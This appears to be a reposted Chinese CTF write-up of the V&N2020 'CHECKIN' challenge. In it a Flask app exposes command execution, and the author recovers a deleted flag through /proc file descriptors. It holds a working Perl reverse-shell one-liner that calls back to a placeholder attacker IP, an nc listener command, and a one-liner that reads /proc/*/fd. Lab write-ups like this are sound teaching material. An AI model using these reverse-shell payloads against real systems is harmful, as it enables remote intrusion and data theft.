[V&N2020 公开赛]CHECKIN
Posted wanghaoran-s1mple
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[V&N2020 公开赛]CHECKIN相关的知识,希望对你有一定的参考价值。
[V&N2020 公开赛]CHECKIN --s1mple
那天,我见过的最强剑客,提起了天下最强的宝剑······却早已没了剑心。
知识点 反弹shell;;文件描述符;;
这里先引入一个知识点;文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;;
一道V&N的题目,这道签到题目,其实并不是签到题目。我们打开页面看到源码,是基于flask框架
from flask import Flask, request | |
---|---|
import os | |
app = Flask(name) | |
flag_file = open("flag.txt", "r") //这里的代码很重要,进程里面执行了打开的命令;--s1mple | |
# flag = flag_file.read() | |
# flag_file.close() | |
# | |
# @app.route(‘/flag‘) | |
# def flag(): | |
# return flag | |
## want flag? naive! | |
# You will never find the thing you want:) I think | |
@app.route(‘/shell‘) | |
def shell(): | |
os.system("rm -f flag.txt") //删除了flag.txt --s1mple | |
exec_cmd = request.args.get(‘c‘) | |
os.system(exec_cmd) //命令执行 --s1mple | |
return "1" | |
@app.route(‘/‘) | |
def source(): | |
return open("app.py","r").read() | |
if name == "main": | |
app.run(host=‘0.0.0.0‘) | |
发现有几个路由;简单审计代码,发现当进到/shell的时候,会将flag.txt进行删除,然后再是我们的命令执行;我们可以使用GET传参c进行代码执行,但是下面的返回Return永远是1;这里发现我们没有办法执行代码得到我们想要的回显,就想到了反弹一个shell;这里我提供几种反弹shell的方法;
一般有如下几种;;
bash perl python php nc 一般是这五种反弹的方式,当然还有其他的,要视情况而定,看看服务器存在什么环境,看看是否有什么过滤,然后对应采取相应的措施;这里经过测试,发现赵师傅(glzjin)过滤了 bash nc 所以我们这里采用其他的方式进行反弹shell;
我这里用perl反弹成功;;贴上反弹的payload;;
perl -e ‘use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘ &
注意要写入对应的ip和端口,进行接收相互式的shell;这也是我们这里使用 -i 的原因;;
登陆本地的服务器 root 123456 进行相应的端口监听 nc -lvp 9999 开启监听;
在服务器执行上面的payload 进行shell的反弹,接收效果如下;;
我们进行查看,发下我们所处的目录之下有一个py和txt文件,这里就需要读取相应的进程文件打开的记录目录了;一般情况下,我们可以使用lsof来查看我们打开过的文件;因为我们没有权限,只是app权限,所以我们只能另想别的办法;又想到因为服务器存在py环境,所以我们直接执行py脚本进行查询 python3 -c "import os;[os.system(‘cat /proc/‘+str(i)+‘/fd/3‘) for i in range(20)];" 进而得到flag;;
这里的py单行命令简单的将就是实现/proc/[pid]/fd 的类似遍历;读取前二十条数据,-c 也就是执行单行命令;类似于bash -c 一样;;这里直接搜索读取到flag;
不是在代码的最后哦,,向上看几行。。。。
以上是关于[V&N2020 公开赛]CHECKIN的主要内容,如果未能解决你的问题,请参考以下文章